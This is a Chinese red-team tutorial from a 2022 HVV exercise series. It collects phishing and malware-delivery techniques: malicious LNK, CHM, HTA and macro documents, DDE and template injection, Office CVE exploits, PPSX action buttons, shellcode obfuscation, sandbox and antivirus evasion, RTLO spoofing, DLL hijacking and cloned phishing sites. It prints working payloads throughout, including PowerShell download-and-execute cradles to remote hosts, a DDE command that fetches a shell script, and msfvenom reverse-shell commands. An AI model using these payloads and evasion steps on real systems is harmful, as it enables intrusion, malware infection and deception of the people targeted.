【2022HVV系列】|9-紅藍對抗之釣魚篇:常見釣魚思路總結
目錄
1、文檔連接釣魚 1)LINK鏈接釣魚 2)LINK快捷方式釣魚 3)CHM文檔釣魚 CHM文檔bypass waf 4)HTA釣魚 5)宏釣魚 宏釣魚 bypass waf 6)OLE(Object Linking and Embedding,對象鏈接與嵌入) 7)嵌入JS元素 8)利用模板文件注入宏指令 9)CVE 2、偽造界面釣魚 1)PPT動作按鈕特性構造 PPSX 釣魚 3、exe等可執行文件 1)shellcode 異或加密免殺(golang) 2)shellcode轉換免殺 3)shellcode編譯免殺 4)shellcode分離加載免殺 5)繞過沙盒 6)exe偽裝 7)繞過行為檢測 8)DLL劫持+重新制作安裝包 9)免殺思路 4、郵件釣魚 5、flash釣魚 6、網站釣魚
1、文檔連接釣魚
1)LINK鏈接釣魚
首先說明一點:ftp加! 可以執行命令

首先創建一個ftp的快捷方式,然后新建一個文件名 aaa.dll ,然后內容為cs的后門惡意鏈接(powershell上線命令)
快捷方式的起始位置留空,目標為:C:\Winodws\System32\ftp.exe -""s:aaa.dll
快捷方式的圖標以及名字可以進行適當的偽裝

這里演示一下生成后門惡意鏈接
運行CS,根據圖片點擊:Scripted Wed Delivery(s)

主機地址為CS服務器端地址,監聽使用之前的監聽就可以,然后執行

這里就創建好了一個 powershell 的回連惡意鏈接 復制即可

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
但是如果直接第三方調用powershell加參的話會被360等攔截,所以要采用無參調用

2)LINK快捷方式釣魚
此方式與上述方式類似
首先查找后門絕對路徑,可以提權后門的有很多文件,這里以 powershell.exe 進行演示

打開目錄,找到路徑為:
C:\Windows\System32\WindowsPowerShell\v1.0
生成后門惡意鏈接



創建 lnk 創建方式
將powershell惡意代碼放入進行修改,將代碼最前端添加絕對路徑

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
這里免殺的話,使用base64等等進行混淆
然后對該文件右鍵選擇進行創建快捷方式,對快捷方式右鍵選擇屬性,在目標寫入惡意回彈代碼

可以對圖標和名稱進行適當的更改,之后就可以開始釣魚了
3)CHM文檔釣魚
使用 EasyCHM 可以輕松的新建一個 chm 文件
EasyCHM、Cobalt Strike、MyJSRat 釣魚流程:制作html -> 制作chm文件 -> 偽裝 -> 打開chm上線
首先創建個空文件夾

創建html文件,代碼如下
Mousejack replay command exec <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">x.Click();<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">

注意:",payload",上面代碼中為",calc.exe",此處,payload前面要加一個英文版的逗號,,否則打開chm文檔時會出錯
此處打開文檔執行的calc,也就是計算器
Easy CHM制作CHM文檔
新建工程

工程目錄選擇我們建立的test文件夾(html文件放在文件夾內)


點擊編譯 生成CHM


雙擊打開查看

彈出計算機
嘗試使用 Cobalt Strike 木馬 + CHM 上線
Cobalt Strike -> 點擊attacks -> web Drive by -> scriped web Delivery
上文有詳細步驟

設立好監聽點擊開始

然后將 calc.exe 替換為:
Mousejack replay command exec <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">x.Click();<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">

注意:exe后面要再加一個英文版逗號,否則無法執行exe,再是注意生成出來的payload字符串的雙引號跟單引號的沖突
再重新生成,查看是否上線

MyJSRat配合CHM進行上線
MyJSRat下載地址:https://github.com/Ridter/MyJSRat
python2運行下面的命令:

此處使用交互模式
python2 MyJSRat.py -i 192.168.27.180 -p 8080
Kali Linux 運行訪問

復制代碼替換payload,記得加上逗號
Mousejack replay command exec <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">x.Click();<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">
然后重新生成CHM并且執行

在kali上可以進行命令交互
CHM內容偽裝
先拿一個正常的CHM文檔內容,轉為html
通過hh命令,轉為html
hh -decompile .[\\html](file://html) CSS2.0中文手冊.chm

釣魚html嵌入到 html/css2/c_color.html


工程目錄選擇css2


注意此處,一定要誘導用戶點擊到 c_color.html 模塊才可以
CHM文檔bypass waf
(1)利用powershell無參運行,但是要把powershell腳本打包編譯成chm,然后利用自帶hh.exe 。hh.exe具有decompile(反編譯,將chm返回成html,其實就類似chm可以比喻成一個壓縮包,decompile是解壓縮)的功能,可以將打包進chm的文件釋放出來。
HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm
(2) CHM本身支持js(jscript)語法,可以利用c#寫個彈shell的,然后利用利用DotNetToJScript轉js,然后在把js混淆加密進行打包免殺,利用cscript或者wscript來執行js。類似的還有執行hta文件等等。
4)HTA釣魚
HTA 是 HTML Application 的縮寫,直接將 HTML 保存成 HTA 的格式,是一個獨立的應用軟件。HTA雖然用HTML、JS和CSS編寫,缺比普通網頁權限大得多,它具有桌面程序的所有權限。就是一個 html 應用程序,雙擊就可以運行
正常是msf生成的hta文件彈shell,假設目標存在命令執行的漏洞,那么咱們在目標上執行如下即可返回msf的shell
mshta http://127.0.0.1:8080/xxx.hta
遠程調用一般會被殺,最好本地運行
利用github開源項目可以繞過部分waf
https://github.com/mdsecactivebreach/CACTUSTORCH

5)宏釣魚
正常操作是利用cs生成宏代碼,復制到vb里面去
然后顯示的是宏被禁用,為了增強迷惑性,可以進行編輯一下
首先在word選項中開啟開發工具

然后把宏打開
創建一個 test.doc

然后點擊 Visual Basic

使用Cobalt Strike 生成木馬

點擊添加一個監聽端口,注意:如果端口在防火墻上策略有誤,則會導致反彈失敗


將代碼粘貼到剛才打開的地方

然后保存即可
doc格式和其它啟用宏的模板的格式都可以
doc格式和原來格式的圖標一樣
運行文件,發現cs上線

可以使用EvilClippy進行免殺
https://github.com/outflanknl/EvilClippy
使用一個正常的vba文件和惡意文件來進行混淆,來躲避殺軟檢測
Excel文件也可以進行釣魚
新建一個Excel,在左下角的sheet處右鍵單擊,選擇插入:

在彈出的對話框中選擇 MS Excel 4.0 宏表,點擊確定

完成之后左下角多了一欄 宏

分別在A1和A2輸入
=exec("c:\windows\system32\cmd.exe")
=halt()
并將A1改為Auto_Open,修改完回車,這樣就可以一打開文件就加載指令最后保存為xlsm后綴的文件
這里的exec其實是執行的cmd命令,我們可以借此來上線CS等操作

宏釣魚 bypass waf
(1)使用遠程加載XSL文件達到免殺
https://github.com/sevagas/macro_pack
https://github.com/mdsecactivebreach/SharpShooter
(2)高級VBA宏免殺
參考 https://www.certego.net/en/news/advanced-vba-macros/
6)OLE(Object Linking and Embedding,對象鏈接與嵌入)
是一種把一個文件嵌入到另一個文件中的技術
msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs
在開源的 openoffice 中可以直接只有DDE函數,像 =DDE("cmd";"/C calc";"123") 這樣調用。而在正規的office套件中則移除了DDE函數,但是我們還是可以使用application|topic!item這一格式的三元表達式調用DDe。
注意:該方法的提示窗口只提示 application 而不提示 topic
excel:(如果前綴是"="、"+" 或 "-",則將其余部分視為表達式)
=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1
word:
打開一個新的word文檔,按下鍵盤的組合鍵 CTRL + F9 ,在文檔中出現"{}"之后,將下面的這段代碼復制到兩個大括號之間
{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }
msf中可直接用,生成一個rtf文檔,點擊即可上線
use exploit/windows/fileformat/office_dde_delivery
set lport 4444
set lhost xx.xx.xx.xx
7)嵌入JS元素
這個方式的原理是,如果我們往word中插進聯機視頻,那么再word的壓縮包 word/document.xml里的embeddedHtml項中會出現聯機視頻對應的內嵌html代碼,我們可以通過修改這些代碼,插入惡意js代碼。
一般的利用方式是通過js下載惡意文件,但是似乎是因為word的一些保護機制,不能實現頁面跳轉或者自動點擊下載等操作
<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">var a = document.createElement('a');<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">console.log(a);<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">document.body.appendChild(a);<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">a.style = 'display: none';<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">a.; //該行若存在,打開word文件會報錯<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">a.download = fileName;<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">window.URL.revokeObjectURL(url);<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">
<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">a.click();<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">
8)利用模板文件注入宏指令
原理是,先創建一個帶模板的文檔,再創一個啟用宏的模板文件。然后在帶模板的文檔的壓縮包里面修改一些內容,使其指向的模板修改為我們自己創建的模板文件,這之間的過程可以由smb協議完成,故過查殺幾率較高。
我們在啟用宏的模板文件(doc3.dotm)里寫入宏。
Sub AutoOpen() Shell "calc" End Sub

9)CVE
Office歷史上出現的可導致遠程命令執行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等
CVE-2017-0199
https://github.com/bhdresh/CVE-2017-0199
影響版本:office 2016、2013、2010、2007
CVE-2017-11882
https://github.com/Ridter/CVE-2017-11882/
影響版本:office 2016、2013、2010、2007、2003
CVE-2018-0802
https://github.com/rxwx/CVE-2018-0802
影響版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack3
2、偽造界面釣魚
1)PPT動作按鈕特性構造 PPSX 釣魚
運行程序比如可以選用cs powershell 的代碼。選擇ppsx進行保存

然后彈出的窗口處

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""
然后將格式保存為ppsx格式保存即可 執行即可上線
3、exe等可執行文件
1)shellcode 異或加密免殺(golang)
利用 msfvenom 生成一段 shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234
利用 golang ,將shellcode進行異或

進行編譯(在windows進行編譯)
go build xxx.go運行即可
也可以利用aes加密等等

2)shellcode轉換免殺
C#編譯成exe -> exe -> 轉js -> js混淆
參考文章:https://wtfsec.org/posts/%E5%85%8D%E6%9D%80-msf-windows-payload-%E7%9A%84%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E8%B7%B5/
利用DotNetToJScript轉exe為js
https://github.com/tyranid/DotNetToJScript

3)shellcode編譯免殺
使用msf生成一個PHP馬(也可以其他語言的,比如perl啥的)
msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=LPORT=-f raw > shell.php
利用bamcompile將php轉為exe
bamcompile -w -c shell.php shell.exe
4)shellcode分離加載免殺
分離一般分2種,一個是遠程加載shellcode,另外是通過運行程序的時候將加密數據傳入
遠程加載可以利用socket創建套接字或者直接http請求遠程地址,釣魚的時候可以將shellcode放在使用說明啥的
shellcode loader github開源項目很多

5)繞過沙盒
主要思想:判斷父進程是否為Debugger:在沙盒內被調試
判斷時間是否被加速:一般沙盒內的程序時間都會加速
判斷系統盤是否大于50GB:一個正常的PC的系統盤都會大于50GB
虛擬機其他特征
https://github.com/dycsy/ShellcodeLoader
https://github.com/1y0n/AV_Evasion_Tool


6)exe偽裝
1、圖標偽裝
這里使用 Restorator 2018 小工具進行圖標修改
http://www.pc6.com/softview/SoftView_585736.html
激活將附帶的激活碼填入即可
然后使用 Restorator 修改圖標
直接點擊exe文件拖入即可,如果沒有圖標文本的話,可以在電腦找一個exe格式的圖標拖入,然后顯示圖標后復制過來即可
圖標的話需要ico格式
https://www.easyicon.net/iconsearch/?樂ico/
http://www.bitbug.net/在線制作ico圖標
在這?下載圖標,并在bitbug轉換格式即可!

更改圖標直接再圖標處右鍵導入
2、RTLO
通過重命名,在a后面右鍵,插入Unicode控制字符 -> RLO



實測釣魚方式有些古老,不管是不是病毒只要使用此方式偽裝,360都會查殺
3、rar解壓自運行
木馬文件:artifact.exe 迷惑文件:calc.exe
進入winrar,選中這兩個文件,右鍵添加至壓縮包,創建自解壓格式壓縮文件

高級 -> 自解壓選項 -> 設置
提取前打開偽裝文件,提取后運行馬

模式 -> 全部隱藏

更新 -> 解壓并更新文件,覆蓋所有文件

雙擊可以打開計算機,CS上線

7)繞過行為檢測
部分敏感行為可操作windowsAPI
比如360對添加用戶會攔截
可以操作以下兩個API繞過
NetUserAdd
NetLocalGroupAddMembers
其他的免殺還有內存(一般可用殼,但大多基本殼都在waf的特征庫中)、花指令等等
8)DLL劫持+重新制作安裝包
DLL劫持指的是病毒通過一些手段來劫持或者替換正常的DLL,欺騙正常程序預先準備好的惡意DLL
如下面圖片中的,LPK.dll是應用程序運行所需要加載的DLL,該系統文件默認在C:\Winodws\system32路徑下,但由于windows優先搜索當前路徑,所以當我們把惡意LPK.dll放在應用程序同一路徑下,便會被程序成功加載,從而執行惡意操作

在藍隊可以利用此方法反制紅隊,例如在準備好的虛擬機中點擊紅隊的釣魚郵件,并準備一些讓紅隊感興趣的東西
比如梯子的安裝包以及梯子的賬號密碼
這里可能會用到拿破輪胎大佬寫的DLL注入工具

使用方法:
1.輸入CS或者msf生成的shellcode生成免殺DLL文件
2.添加需要劫持的軟件或者dll
3.劫持過后會在運行目錄生成一個DLL和配置文件
4.需要把兩個文件放在被劫持的軟件同目錄下才可以運行
注意:
本文采用EasyConnectInstaller做測試,使用其他軟件測試的話,可以使用Process Monitor來對系統進程進行監控,找到系統程序調用DLL的情況
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
參考文章:
https://blog.csdn.net/weixin_35771144/article/details/111056447
使用CS生成shellcode


把shellcode放入工具然后生成dll即可

選擇DLL處選擇生成的DLL

注入目標為
C:\Program Files (x86)\Sangfor\SSL\SangforCSClient 下的

注入到注冊表后,將 wwwcomw.dll 和 conf.inf 放入到軟件目錄下

然后運行即可上線
然后接下來使用NSIS重新制作安裝包
使用NSIS制作安裝包可以參考:https://www.cnblogs.com/modou/p/3573772.html

9)免殺思路
1、CS生成exe的payload
2、exe-payload 放置公網服務器
3、再CS生成python-payload
4、將python-payload轉base64值
5、base64值的payload再用序列化轉碼
6、序列化轉碼后的payload再用反序列化轉碼
7、轉成反序列化后的payload再用python3的tinyaes混淆
8、混淆完再用另外的東西加殼成對方環境執行的文件類型即可
可以查查掩日
最終形成的文件類型,執行的原理僅僅是運行下載公網服務器第一步上次的payload并運行
GoFildBinder
https://github.com/Yihsiwei/GoFileBinder
golang免殺捆綁器 捆綁器免殺效果會持續更新下去
使用以下命令進行捆綁器編譯
go build GoFileBinder.go
使用以下命令生成捆綁文件(注:GoFileBinder.exe單獨放入一個文件夾中)
GoFileBinder.exe 木馬.exe xxx.txt
也可以嘗試使用kali自帶的upx
4、郵件釣魚
包含郵件服務器相關環境搭建,郵件信息收集,參考:
https://www.freebuf.com/articles/web/260391.html
5、flash釣魚
源碼:https://github.com/r00tSe7en/Fake-flash.cn
嘗試自解壓或者配合捆綁
6、網站釣魚
制作釣魚網站,克隆網站
cs,msf 都有這個功能
setoolkit